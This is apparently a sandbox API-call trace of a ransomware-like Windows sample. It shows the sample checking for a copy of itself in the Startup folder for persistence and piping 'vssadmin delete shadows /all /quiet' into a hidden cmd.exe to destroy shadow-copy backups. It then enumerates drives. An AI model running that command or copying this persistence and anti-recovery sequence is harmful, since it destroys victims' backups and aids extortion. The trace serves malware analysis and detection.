	[0151.118] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.118] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.118] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddc00 | out: hHeap=0x5a0000) returned 1
	[0151.118] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd8b8 | out: hHeap=0x5a0000) returned 1
	[0151.118] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0151.118] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0151.118] CloseHandle (hObject=0x244) returned 1
	[0151.118] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31f8
	[0151.118] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31f8, Size=0x20) returned 0x5dda70
	[0151.119] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3228
	[0151.119] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3228, Size=0x20) returned 0x5ddc00
	[0151.119] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.119] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.119] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0151.119] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddc00 | out: hHeap=0x5a0000) returned 1
	[0151.119] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dda70 | out: hHeap=0x5a0000) returned 1
	[0151.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x241d020 | out: hHeap=0x5a0000) returned 1
	[0151.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x5a0000) returned 1
	[0151.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fa0 | out: hHeap=0x5a0000) returned 1
	[0151.129] lstrlenW (lpString="%windir%\\System32") returned 17
	[0151.129] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7430 | out: hHeap=0x5a0000) returned 1
	[0151.129] lstrlenW (lpString="%appdata%") returned 9
	[0151.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddbd8 | out: hHeap=0x5a0000) returned 1
	[0151.130] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0151.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddb60 | out: hHeap=0x5a0000) returned 1
	[0151.130] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0151.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7820 | out: hHeap=0x5a0000) returned 1
	[0151.130] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e31b0
	[0151.130] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e31b0, Size=0x20) returned 0x5dd9a8
	[0151.130] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd9a8, Size=0x40) returned 0x5b7430
	[0151.130] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7430, Size=0x80) returned 0x5e39c8
	[0151.130] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3360
	[0151.130] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3360, Size=0x20) returned 0x5ddc00
	[0151.130] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1fffc) returned 0x5e6f98
	[0151.131] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x606fa0
	[0151.131] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x616fa8
	[0151.131] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3360
	[0151.131] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3360, Size=0x20) returned 0x5dd958
	[0151.131] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd958, Size=0x40) returned 0x5b7700
	[0151.131] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7700, Size=0x80) returned 0x5e3a50
	[0151.131] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3a50, Size=0x100) returned 0x5e3a50
	[0151.131] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a50 | out: hHeap=0x5a0000) returned 1
	[0151.131] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x606fa0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0151.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x616fa8 | out: hHeap=0x5a0000) returned 1
	[0151.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x606fa0 | out: hHeap=0x5a0000) returned 1
	[0151.132] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0151.137] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0151.137] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0151.139] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0151.139] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdd4, dwThreadId=0xdd8)) returned 1
	[0151.174] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0151.174] WriteFile (in: hFile=0x24c, lpBuffer=0x5e39c8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x5e39c8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0151.174] CloseHandle (hObject=0x25c) returned 1
	[0151.174] CloseHandle (hObject=0x258) returned 1
	[0151.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x5a0000) returned 1
	[0151.174] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0151.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e39c8 | out: hHeap=0x5a0000) returned 1
	[0151.174] lstrlenW (lpString="%comspec%") returned 9
	[0151.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddc00 | out: hHeap=0x5a0000) returned 1
	[0151.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0151.175] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e3408
	[0151.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5e3408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0151.175] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de328
	[0151.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5de328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3120
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3120, Size=0x20) returned 0x5ddac0
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddac0, Size=0x40) returned 0x5b78f8
	[0151.176] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xd0) returned 0x5bbaf8
	[0151.176] GetLogicalDrives () returned 0x4
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10014) returned 0x5e6f98
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e3270
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3270, Size=0x20) returned 0x5ddb60
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddb60, Size=0x40) returned 0x5b7430
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7430, Size=0x80) returned 0x5e39c8
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e3ae0
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3ae0, Size=0x200) returned 0x5e3ae0
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3ae0, Size=0x400) returned 0x5e3ae0
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3ae0, Size=0x800) returned 0x5e5280
	[0151.176] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5280, Size=0x1000) returned 0x5e5280
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x5f6fb8
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e33f0
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e3360
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de338
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e32e8
	[0151.176] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de368
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3390
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de368, Size=0x8) returned 0x5de2b8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e33a8
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de2b8, Size=0x10) returned 0x5e33c0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e32d0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e32b8
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e33c0, Size=0x20) returned 0x5ddc78
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e31b0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de348
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e31c8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e31f8
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddc78, Size=0x40) returned 0x5b7a60
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e3120
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e3210
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e3270
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e3228
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e32a0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3300
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de418
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e33c0
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7a60, Size=0x80) returned 0x5e39c8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3168
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e33d8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3318
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3138
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3468
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e3438
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e34b0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de358
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e34e0
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3450
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e3480
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3498
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e34c8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e3420
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e63d8
	[0151.177] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6468
	[0151.177] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e39c8, Size=0x100) returned 0x5e6a90
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6390
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e64c8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e62d0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e63f0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e62e8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6330
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de3c8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6498
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6480
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6558
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5de368
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6588
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6378
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de2b8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e64e0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e65a0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e64b0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6300
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6540
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e64f8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xe) returned 0x5e63c0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6570
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e6438
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e63a8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6510
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6420
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6360
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de378
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6528
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e62b8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6450
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6318
	[0151.178] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6a90, Size=0x200) returned 0x5e6a90
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6408
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de3d8
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6348
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e65d0
	[0151.178] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6600
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6648
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6618
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e67c8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6678
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6858
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6630
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e6780
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e6690
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6720
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6750
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e6738
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e66c0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e67f8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e65e8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e68a0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6660
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e66a8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e66d8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de438
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6810
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e66f0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6828
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de3f8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6768
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e65b8
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6708
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6798
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e67b0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6870
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e67e0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6840
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e6888
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e69c0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e68d0
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6a38
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6900
	[0151.179] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e68b8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6a68
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6930
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6a20
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6a50
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e68e8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6918
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e69f0
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de428
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5de2a8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6948
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e69d8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6a08
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6960
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e6978
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e6990
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e69a8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6076e0
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607680
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6076f8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607710
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607740
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6075f0
	[0151.180] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6a90, Size=0x400) returned 0x6077c8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607728
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6077a0
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x607758
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607770
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607608
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607788
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x6076b0
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607698
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x6076c8
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607620
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5de448
	[0151.180] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x607638
